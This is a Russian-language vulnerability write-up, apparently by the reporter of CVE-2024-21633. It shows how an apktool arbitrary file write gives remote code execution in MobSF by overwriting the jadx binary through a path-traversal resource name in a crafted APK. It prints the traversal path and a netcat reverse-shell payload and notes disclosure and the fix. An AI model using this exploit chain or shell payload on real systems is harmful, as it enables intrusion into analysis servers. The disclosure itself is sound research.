
MobSF: удаленное выполнение кода (через CVE-2024-21633)
Я нашел произвольную запись файла в apktool и сообщил об этом через github security advisory. Я знал, что многие проекты полагаются на apktool или зависят от него, но после публикации уведомления и исправления немногие, похоже, заметили это или обратили на это внимание. Я решил проверить его влияние и возможность эксплуатации в некоторых крупных зависимых проектах, и начал с MobSF.
Уязвимость позволяет записать что угодно по относительному пути к "${decode target path}/res/", самый большой эффект — получение RCE. Но есть загвоздка: записанный файл не является исполняемым.
У меня было две идеи перед погружением:
Но что, если нам просто повезет, и у нас есть приложение, которое меняет права файла на исполняемый? И еще больше повезет, если оно потом запустит его? И все это должно произойти после выполнения apktool. Именно такая ситуация с MobSF. MobSF использует jadx как часть своего статического анализа, он вызывает jadx через подпроцесс, но непосредственно перед этим он меняет права доступа jadx на исполняемый.
Выдержка из лога, где вызываются apktool, chmod и jadx соответственно:
[INFO] 07/Jan/2024 20:44:16 - Getting AndroidManifest.xml from APK
[INFO] 07/Jan/2024 20:44:16 - Converting AXML to XML
[INFO] 07/Jan/2024 20:44:16 - executed command: /jdk-20.0.2/bin/java -jar -Djdk.util.zip.disableZip64ExtraFieldValidation=true /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/apktool_2.9.1.jar --match-original --frame-path /tmp -f -s d /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk -o /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/apktool_out
.
.
.
[INFO] 07/Jan/2024 20:44:20 - Decompiling to Java with jadx
[INFO] 07/Jan/2024 20:44:20 - executed command: chmod +x /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx
[INFO] 07/Jan/2024 20:44:20 - executed command: /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx -ds /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/java_source/ -q -r --show-bad-code /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk
Мы будем использовать jadx в качестве цели, но нам нужен относительный путь jadx к папке res. Мы можем получить его, используя функцию os.path.relpath() в Python.
Наша базовая папка ресурсов: "/home/mobsf/.MobSF/uploads/680b420ade61b64ce7c024a2ed6bc94d/apktool_out/"
Мы хотим перезаписать бинарник jadx по пути: "/home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"
import os
jadx_path = "/home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"
res_base_path = "/home/mobsf/.MobSF/uploads/680b420ade61b64ce7c024a2ed6bc94d/apktool_out/res"
os.path.relpath(jadx_path, res_base_path)
>>> '../../../../Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx'
Наш payload будет в res/raw/jadx
#!/bin/bash
nc host.docker.internal 9001 -e sh
Имя ресурса будет "../../../../Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"
Загрузите apk и ждите выполнения jadx, мы получим шелл на нашем nc слушателе.
Бинго!

Затем я сообщил об этом команде MobSF по электронной почте, получил быстрый ответ, и они исправили это, обновив версию apktool, но поведение, делающее jadx исполняемым и запускающее его после, всё ещё сохраняется. Я бы предпочёл, чтобы права были установлены заранее, а директория была недоступна для записи.
Подписывайтесь! @0x33c0unt